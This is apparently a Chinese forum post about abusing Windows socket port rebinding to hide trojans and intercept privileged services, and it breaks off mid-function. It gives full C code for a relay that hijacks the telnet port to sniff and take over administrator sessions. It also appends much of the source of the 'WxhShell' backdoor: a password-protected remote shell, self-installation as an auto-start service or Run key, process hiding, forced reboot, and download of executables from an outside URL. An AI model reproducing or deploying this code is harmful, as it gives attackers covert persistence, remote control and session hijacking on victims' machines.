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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2}P{7flDY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ="@f~~  
c0jTQMe4yl  
  saddr.sin_family = AF_INET; 6x!iL\Y~  
M!VW/vdywL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5D^2 +`$/  
?g K|R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @1k-h;`,  
NQ '|M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c2gZ<[~  
8-L -W[  
  这意味着什么?意味着可以进行如下的攻击: WT 5 2  
h}m9L!+n8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X"f]  
qvh8~[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'OhGSs|  
|F =.NY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JsX}PVuL  
\<} e?Yx%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  loyhNT=  
}&l%>P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T!&VT;   
~^3U@( :  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R C!~eJG!  
}mk z_P(Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ? a*yK8S  
Lp{uA4:=K  
  #include pe\]}&  
  #include py/#h$eY  
  #include 2) Q/cH\g  
  #include    @Rqn&tA8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $C{-gx+:  
  int main() E@@XWU21;N  
  { oHethk  
  WORD wVersionRequested; ?j8_j  
  DWORD ret; ^"J)^3j<  
  WSADATA wsaData; ML1/1GK*i+  
  BOOL val; EHq?yj;  
  SOCKADDR_IN saddr; 5W_Rg:J{P  
  SOCKADDR_IN scaddr; RDu{U(!  
  int err; #ChF{mh  
  SOCKET s; ~5~Cpu2v7  
  SOCKET sc; HAcC& s8  
  int caddsize; 5mI}IS|@  
  HANDLE mt; !ac,qj7spa  
  DWORD tid;   KA9v?_@{F  
  wVersionRequested = MAKEWORD( 2, 2 ); ekSSqj9";  
  err = WSAStartup( wVersionRequested, &wsaData ); >yt8gw0J  
  if ( err != 0 ) { gp]T.ol  
  printf("error!WSAStartup failed!\n"); ff 2`4_ ,|  
  return -1; ? wZ`U Oi  
  } C.=[K_  
  saddr.sin_family = AF_INET; J@(69&  
   9.l*#A^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {} Zqaf  
~|8-Mo1ce  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GsNZr=;C  
  saddr.sin_port = htons(23); 9h0Y">}`b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) te#Wv9x  
  { LVBE+{P\5?  
  printf("error!socket failed!\n"); bG!/%,s  
  return -1; ;0:[X+"(  
  } !TPKD  
  val = TRUE; bm-&H   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a/lTQj]A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !,JV<( 7k  
  { 3 V0^v  
  printf("error!setsockopt failed!\n"); `:YCOF  
  return -1; wp>L}!  
  } Ws:MbZyr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lWk/vj<5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'Em633  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Isg\ fSK<j  
gE~LPwM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BKd?%V8:Q  
  { wYN/ }>M  
  ret=GetLastError(); ~r?VXO p"  
  printf("error!bind failed!\n"); >|g(/@IO  
  return -1; 6=g! Hs{  
  } @ 3,:G$,  
  listen(s,2); #7p!xf^  
  while(1) CK(`]-q>,  
  { E5g|*M.+f  
  caddsize = sizeof(scaddr); ygYy [IZ  
  //接受连接请求 nXfd f-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B PG&R  
  if(sc!=INVALID_SOCKET) z^\-x9vL  
  { A/88WC$v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7,5Bur  
  if(mt==NULL) my%MXTm2  
  { . pyNET  
  printf("Thread Creat Failed!\n"); 63Z^ k(  
  break; xt1\Sie  
  } lwm 9gka  
  } :r9<wbr)k0  
  CloseHandle(mt); arN=OB  
  } =TJ9Gr/R&:  
  closesocket(s); QVo>Uit   
  WSACleanup(); sq;3qbz  
  return 0; d8K|uEHVz  
  }   heQyz|o  
  DWORD WINAPI ClientThread(LPVOID lpParam) h`f$]_c  
  { qIvnPaYW  
  SOCKET ss = (SOCKET)lpParam; }/M muPp  
  SOCKET sc; D qHJ *x4  
  unsigned char buf[4096]; 5:(/k\9+yv  
  SOCKADDR_IN saddr; H:cAORLB  
  long num; 'zOB!QqA`v  
  DWORD val; 4))N(m%3F  
  DWORD ret; !wTrWD!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3!vnSX(iv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   17-B'Gl!<%  
  saddr.sin_family = AF_INET; vQ,<Ke+d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ic}mru  
  saddr.sin_port = htons(23); a9NIK/9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I>{o]^xw-D  
  { ZmmX_!M  
  printf("error!socket failed!\n"); w@pJ49  
  return -1; d|>/eb.R  
  } <Yg6=e  
  val = 100; v[V7$.%5Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wsB  
  { oxL)Jx\c9A  
  ret = GetLastError(); AG><5 }  
  return -1; {.ypZ8JU  
  } #4<=Ira5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NS-0-o|4#  
  { _|T{2LvwT  
  ret = GetLastError(); Nxna H!wS  
  return -1; ~F%sO'4!  
  } kW0ctGFYlf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gegM&Xo  
  { 'x5p ?m  
  printf("error!socket connect failed!\n"); BS(jC  
  closesocket(sc); 70 Ph^e)  
  closesocket(ss); "Mz#1Laby`  
  return -1; 9WI5\`*"  
  } z[6avW"q  
  while(1) T}/|nOu 5  
  { g)=$zXWhP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xojt s;n   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s\<UDW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RA?_j$  
  num = recv(ss,buf,4096,0); O(VWJ@EHn  
  if(num>0) (H"{r  
  send(sc,buf,num,0); %|D) U>o{  
  else if(num==0) hQ(^;QcSu  
  break; &xA>(|a\&-  
  num = recv(sc,buf,4096,0); Xu E' %;:  
  if(num>0) p3Ozfk  
  send(ss,buf,num,0); @,7r<6E  
  else if(num==0) m(o`;  
  break; w]nt_xj  
  } x)Zb:"  
  closesocket(ss); BMI`YGjY1  
  closesocket(sc); ycSGv4 )  
  return 0 ; IaQm)"Z  
  } <VSB!:ew  
`Tf}h8*  
4_ypFuS^  
========================================================== ''D7Bat@  
zyO=x 4U8  
下边附上一个代码,,WXhSHELL a6cU<(WDeh  
S=lCzL;j"  
========================================================== 'wtb"0 }  
v#d(Kj  
#include "stdafx.h" qA\&%n^ j]  
* xmC`oP  
#include <stdio.h> kZo# Ny  
#include <string.h> Ph%ylS/T{  
#include <windows.h> lZ)6d-vK  
#include <winsock2.h> ,A7:zxnc.V  
#include <winsvc.h> \At~94  
#include <urlmon.h> r]&sXKDc  
G6qZ>-GiL  
#pragma comment (lib, "Ws2_32.lib") 1*G&ZI  
#pragma comment (lib, "urlmon.lib") Er|&4-9  
vea{o 35!  
#define MAX_USER   100 // 最大客户端连接数 s8[(   
#define BUF_SOCK   200 // sock buffer X Db%-  
#define KEY_BUFF   255 // 输入 buffer |bSAn*6b  
fZr{x$]N0  
#define REBOOT     0   // 重启 & wtE"w  
#define SHUTDOWN   1   // 关机 SmD#hE[  
$xdo=4;|  
#define DEF_PORT   5000 // 监听端口 t#_6GL  
Sz<:WY/(x  
#define REG_LEN     16   // 注册表键长度 9eq)WI/  
#define SVC_LEN     80   // NT服务名长度 Qxa Me8 (  
sk<S`J,M/_  
// 从dll定义API 568M4xzi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OmZZTeGg1s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tDah@_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : UH*Wft1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7VZ^J`3  
l{.PyU5)  
// wxhshell配置信息 #y7MB6-  
struct WSCFG { B8T5?bl  
  int ws_port;         // 监听端口 I4w``""c  
  char ws_passstr[REG_LEN]; // 口令 Fje /;p  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2-qWR<E  
  char ws_regname[REG_LEN]; // 注册表键名 t4d/%b~{:U  
  char ws_svcname[REG_LEN]; // 服务名 Ksh[I,+N\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CdCY#$Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \24'iYtqW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uEr.LCAS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  PBW_9&d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `|"o\Bg<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |5FEsts[  
s0vcGh#w  
}; :N^B54o%6  
S/y(1.wh  
// default Wxhshell configuration k5bv57@  
struct WSCFG wscfg={DEF_PORT, WdC7CK  
    "xuhuanlingzhe", U v>^ Z2  
    1, xJ:Am>%\^  
    "Wxhshell", kn HrMD;  
    "Wxhshell", 7KRNTnd  
            "WxhShell Service", y,Bj,zw  
    "Wrsky Windows CmdShell Service", uQW[2f  
    "Please Input Your Password: ", _}']h^@ Z  
  1, 1 rbc}e  
  "http://www.wrsky.com/wxhshell.exe", {i3x\|  
  "Wxhshell.exe" v [x 5@$  
    }; wV$V X  
QJkiu8r  
// 消息定义模块 _3f/lG?&-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p>pAU$k{O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n Zx^ej\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F3Vvqt*2  
char *msg_ws_ext="\n\rExit."; o 0b\<}  
char *msg_ws_end="\n\rQuit."; p{r{}iYI  
char *msg_ws_boot="\n\rReboot..."; SFsT^f<  
char *msg_ws_poff="\n\rShutdown..."; @.`HvS  
char *msg_ws_down="\n\rSave to "; ;tD?a7  
7A<}JaE!,  
char *msg_ws_err="\n\rErr!"; O,J,Q|` H&  
char *msg_ws_ok="\n\rOK!"; Mwj7*pxUh  
N;m62N  
char ExeFile[MAX_PATH]; b_~KtMO  
int nUser = 0; /~<Przw  
HANDLE handles[MAX_USER]; hE2{m{^A  
int OsIsNt; zCwb>v  
?f:\&+.&  
SERVICE_STATUS       serviceStatus; o+<hI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q>#P|  
#?\|)y4i  
// 函数声明 G CcSI;w  
int Install(void); 1&kf2\S  
int Uninstall(void); tjm@+xs  
int DownloadFile(char *sURL, SOCKET wsh); "rQ?2?  
int Boot(int flag); 1b!5h  
void HideProc(void); 3URrK[%x`  
int GetOsVer(void); Qcs0w(  
int Wxhshell(SOCKET wsl); n^epC>a"b  
void TalkWithClient(void *cs); Qm?o^%a  
int CmdShell(SOCKET sock); jLul:* L  
int StartFromService(void); %o0.8qVJi  
int StartWxhshell(LPSTR lpCmdLine); O}Do4>02  
jin?;v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |qibO \_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U3c!*i  
T=cb:PD{%  
// 数据结构和表定义 nZS*"O#L  
SERVICE_TABLE_ENTRY DispatchTable[] = FCYZ9L5uF  
{ |:`gjl_Nf  
{wscfg.ws_svcname, NTServiceMain}, ,rQPs  
{NULL, NULL} eJ$ {`&J  
}; s8kkf5bu  
ds QGj&  
// 自我安装 `qbsDfq@  
int Install(void) W3i X;-Z  
{ }*0*8~Q'5  
  char svExeFile[MAX_PATH]; C  F<  
  HKEY key;  qZP>h4  
  strcpy(svExeFile,ExeFile); V6 ,59  
tZY(r {  
// 如果是win9x系统,修改注册表设为自启动 4,R1}.?BzJ  
if(!OsIsNt) { /F @a@m|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 %aT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B bx.RL.V  
  RegCloseKey(key); @AkD-}^[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Fxz9_ i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <?iwi[S  
  RegCloseKey(key); v~>4c<eG  
  return 0; re} P  
    } Ndx  ]5  
  } I"+;L4o`  
} BI6o@d;=4  
else { J;BG/VI1  
enJE#4Z5&s  
// 如果是NT以上系统,安装为系统服务 "%Eyb\V!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D8Vb@5MW  
if (schSCManager!=0) # S4{,  
{ PDssEb7  
  SC_HANDLE schService = CreateService A5gdZZ'x  
  ( 8aD4 wc  
  schSCManager, Jk7[}Jc$  
  wscfg.ws_svcname, SuW_[6 ]  
  wscfg.ws_svcdisp, TNV#   
  SERVICE_ALL_ACCESS, aKC3T-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z|SLH<~  
  SERVICE_AUTO_START, b-+iL  
  SERVICE_ERROR_NORMAL, wLC|mByq  
  svExeFile, '&}B"1  
  NULL, l$Y7CIH  
  NULL, ~z!U/QR2  
  NULL, *(x`cf;k  
  NULL,  _D(F[p|  
  NULL A_@#V)D2  
  ); PZ;O pp  
  if (schService!=0) vV| u+v{  
  { mOyBSOad4  
  CloseServiceHandle(schService); E7axINca  
  CloseServiceHandle(schSCManager); @$;"nVZ4v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nMXSpX>!|  
  strcat(svExeFile,wscfg.ws_svcname); |k> _ jO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yHhBUpIo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C sn"sf  
  RegCloseKey(key); I "9S  
  return 0; NQ%lwE~  
    } >9|/sH@W  
  } 1NT@}j~/  
  CloseServiceHandle(schSCManager); !K1[o'o#  
} \?)<==^  
} oO>mGl36H  
UMw1&"0:  
return 1; BxO8oKe  
} p}}o#a~V),  
m4|9p{E  
// 自我卸载 Jpws1~  
int Uninstall(void) a! P?RbW  
{ 2bfKD'!aH  
  HKEY key; $ T.c>13  
B9n$8QS  
if(!OsIsNt) { PSNrY e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z6b!,lp  
  RegDeleteValue(key,wscfg.ws_regname); n_hV;  
  RegCloseKey(key); M"#xjP.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z'MOuz~Y  
  RegDeleteValue(key,wscfg.ws_regname); ;2-,Xzz8  
  RegCloseKey(key); kl_JJX6jPP  
  return 0; sV'(y>PP%  
  } }i ./,  
} ub6=^`>h  
} 3Qfj=; 4  
else { {?17Zth  
Qq(/TA0$-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <|~X,g;f  
if (schSCManager!=0) A$Mmnu%  
{ G@ XKE17  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z~ VOO7|m  
  if (schService!=0) AF>J8V  
  { r:2G11[  
  if(DeleteService(schService)!=0) { gh|TlvnA  
  CloseServiceHandle(schService); aRdzXq#x  
  CloseServiceHandle(schSCManager); ds,NNN<HW  
  return 0; >fPa>[_1  
  } +ZEj(fd9  
  CloseServiceHandle(schService); nc!P !M  
  } >uN{cohs  
  CloseServiceHandle(schSCManager); ;tP-#Xf  
} i<l_z&  
} x}$SB%9/  
}eetx68\  
return 1; Cb5;l~}L  
} fwK5p?Xhm  
J wL}|o6  
// 从指定url下载文件 \wEHYz  
int DownloadFile(char *sURL, SOCKET wsh) P3UU~w+s  
{ *]NG@^y  
  HRESULT hr; lk]q\yO_%  
char seps[]= "/"; &#^^UT(nj  
char *token; iqm]sC`  
char *file; :rd{y`59>&  
char myURL[MAX_PATH]; d(9ZopJrQ  
char myFILE[MAX_PATH]; 3DRJl, v  
L& ucTc =  
strcpy(myURL,sURL); .R'<v^H  
  token=strtok(myURL,seps); mQdF+b1o  
  while(token!=NULL) jD1/`g%  
  { Cp4 U`]  
    file=token; 9.u}<m  
  token=strtok(NULL,seps); q{T [|(!  
  } LK\L}<;1V  
#t N9#w[K{  
GetCurrentDirectory(MAX_PATH,myFILE); AX($LIy9P  
strcat(myFILE, "\\"); E><$sN6  
strcat(myFILE, file); oGt,^!V1  
  send(wsh,myFILE,strlen(myFILE),0); '. 5&Z  
send(wsh,"...",3,0); UMtnb:ek  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  2%4u/  
  if(hr==S_OK) 4Z8FLA+T,  
return 0; hOFC8g  
else NxY B)`~  
return 1; Z~R7 G  
eXKpum~  
} nv$>iJ^~H  
B xAyjA6  
// 系统电源模块 ` 1Ui  
int Boot(int flag) K0;caqE^  
{ <pA%|]  
  HANDLE hToken; rhff8C//'  
  TOKEN_PRIVILEGES tkp; /q1k)4?E  
_[)f<`!g_V  
  if(OsIsNt) { To/6=$wto  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^^ >j2=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3Z0ez?p+5  
    tkp.PrivilegeCount = 1; y{>T['"@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]{Y7mpdB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d1jg3{pwA  
if(flag==REBOOT) { %f)%FN . S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) --OAsbr  
  return 0; {Jbouj?V!  
} &/m0N\n?  
else { GG &J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g)dKXsy(F  
  return 0; /,d]`N!  
} q$7w?(Lk  
  } / jLb{Ky  
  else { Y{KN:|i.!  
if(flag==REBOOT) { SA{noM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M{z&h>  
  return 0; D`'h8:\  
} ^O.` P  
else { LbkQuq/d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k1'd';gQ  
  return 0; %OJ"@6A  
} %45*DT  
} =Q,D3F -+f  
b{BiC&3  
return 1; XqLR2 d  
} i);BTwW)#]  
(I/ZI'Ydy  
// win9x进程隐藏模块 !_q=r[D\  
void HideProc(void) z? Iu;X  
{ j ];#=+  
q*K[?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FM=XoMP q  
  if ( hKernel != NULL ) |w"G4J6ha  
  { j/8q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DzbcLg%:W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 00LL&ot  
    FreeLibrary(hKernel); PYwGGB-  
  } d};[^q6X  
"r=p/"4D  
return; = Rn  
} 4d_Az'7`4  
VtzBYza  
// 获取操作系统版本 y1h3Ch>Y  
int GetOsVer(void) g)ofAG2  
{ +y_V$q$G  
  OSVERSIONINFO winfo; HJ!!"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z6zLL   
  GetVersionEx(&winfo); SBaTbY0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nf-6[dg  
  return 1; l*Q OM  
  else KGf@d*ZOMz  
  return 0; }R~C<3u\2  
} |kF"p~s  
_PLZ_c:O  
// 客户端句柄模块 o4^#W;%w  
int Wxhshell(SOCKET wsl) hXD`OlX  
{ @nnX{$YX  
  SOCKET wsh; ;Za^).=  
  struct sockaddr_in client; t]{, 7.S  
  DWORD myID; R2qz>kyyB  
]D^zTl3=q  
  while(nUser<MAX_USER) l$!Z};mw0E  
{ @7t*X-P.;-  
  int nSize=sizeof(client); VrKLEN\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); djn<Oc`  
  if(wsh==INVALID_SOCKET) return 1; P  V9q=  
.G}$jO}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qL$\[(  
if(handles[nUser]==0) >J,IxRGi  
  closesocket(wsh); 'N&s$XB,  
else uZP( -}  
  nUser++; U4lAo  
  } BOl*. t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m:g%5' qDZ  
9?|m ^  
  return 0; [C3wjYi  
} { !t6& A  
C?rb}(m  
// 关闭 socket G[ q<P  
void CloseIt(SOCKET wsh) km}E&ao  
{ i;J*9B_U  
closesocket(wsh); <2\Q Y  
nUser--; K&&YxX~ 3  
ExitThread(0); oTeQY[%$  
} S3dcE"hg  
AVp"<Uv  
// 客户端请求句柄 b~+\\,q}  
void TalkWithClient(void *cs) \qbEC.-K  
{ r+n hm"9  
L ~$&+g  
  SOCKET wsh=(SOCKET)cs; HmpV; <t3  
  char pwd[SVC_LEN]; Z.0mX#  
  char cmd[KEY_BUFF]; k= 9a/M u  
char chr[1]; M,eq-MEK  
int i,j; B)ibxM(n*  
68!=`49r>  
  while (nUser < MAX_USER) { W0Q;1${  
{"^#CSi  
if(wscfg.ws_passstr) { gk"J+uM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G]I^zd&P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pB79#4  
  //ZeroMemory(pwd,KEY_BUFF); V[">SiOg  
      i=0; "\kr;X'  
  while(i<SVC_LEN) { wk6tdY{&s  
{q BbzBG  
  // 设置超时 !%YV0O0  
  fd_set FdRead; `L "{sW6S  
  struct timeval TimeOut; {FM:\/  
  FD_ZERO(&FdRead); 9,Ug  
  FD_SET(wsh,&FdRead); }!Xj{Eoc  
  TimeOut.tv_sec=8; 2ZFp(e^%  
  TimeOut.tv_usec=0; >l!DW i6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b~m|mb$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q0QB[)AP  
J+8T Ie  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (~n0,$  
  pwd=chr[0]; 9@z"~H  
  if(chr[0]==0xd || chr[0]==0xa) { ' |K408i   
  pwd=0; }Z\PE0  
  break; v"smmQZik  
  } Kg;1%J>ee  
  i++; vh^,8pPy  
    } S%m$LM]NCg  
k-\RdX)E  
  // 如果是非法用户,关闭 socket "# BI"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~m.@{Do0p  
} ~!W{C_*N  
8_F5c@7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gEU|Bx/!=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GFBku^pi  
yPza  
while(1) { @s;qmBX4  
P ||:?3IH  
  ZeroMemory(cmd,KEY_BUFF); ]J7.d$7T  
cfd7)(6  
      // 自动支持客户端 telnet标准   $Y5m"wySZ  
  j=0; ?ydqmj2[F  
  while(j<KEY_BUFF) { +1%7*2q,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _]whHS+  
  cmd[j]=chr[0]; qE&R.I!o  
  if(chr[0]==0xa || chr[0]==0xd) { td#B$$[  
  cmd[j]=0; jRP9e  
  break; F"<TV&xf  
  } 69$[yt>KYz  
  j++; .`3O4]N[  
    } k*3F7']8  
a.yCd/  
  // 下载文件 hc;8Vsa  
  if(strstr(cmd,"http://")) { 2\p8U#""  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $ kA'9Y  
  if(DownloadFile(cmd,wsh)) "ebm3t@C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r{T}pc>^  
  else :"9P {xe^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )E.!jL:g  
  } 7xIXFuu  
  else { %|:Gn)8  
*|T]('xwC  
    switch(cmd[0]) { ^"e|)4_5\  
  N%k6*FBp~  
  // 帮助 tJ NJ S  
  case '?': { + S^OzCGk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -<[MM2Y  
    break; ' R!pc  
  } 8tR(i[L   
  // 安装 Nj<}t/e  
  case 'i': { F?wfh7q  
    if(Install()) gua +-##)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <GbF4\ue  
    else aeQvIob@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3$u 3ssOL  
    break; Z-fQ{&a{  
    }  {hzU  
  // 卸载 RpAqnDX)  
  case 'r': { }Ss]/ _t  
    if(Uninstall()) rff=ud>Jf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E,S[3+  
    else hGPo{>xR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4;]<#u  
    break; H\Y5Fd9)  
    } v-k~Q$7~  
  // 显示 wxhshell 所在路径 (h} 5*u%h  
  case 'p': { OT*C7=  
    char svExeFile[MAX_PATH]; eF[CiO8F2  
    strcpy(svExeFile,"\n\r"); \>T+\?M  
      strcat(svExeFile,ExeFile); o7/S'Haxc]  
        send(wsh,svExeFile,strlen(svExeFile),0); _6b?3[Xz  
    break; wx a?.  
    } |Va*=@&6J  
  // 重启 t<)Cbple\  
  case 'b': { x)Y?kVw21"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SXYH#p  
    if(Boot(REBOOT)) o$*aAgS+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LW={| 3}  
    else { Z*+0gJ<Y  
    closesocket(wsh); %h}Qf&U_  
    ExitThread(0); 7# ~v<M6  
    } ;_o1{?~  
    break; -C]k YQ  
    } ~AVn$];{  
  // 关机 b`%3>  
  case 'd': { {|KFgQ'\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |WiE`&?xP  
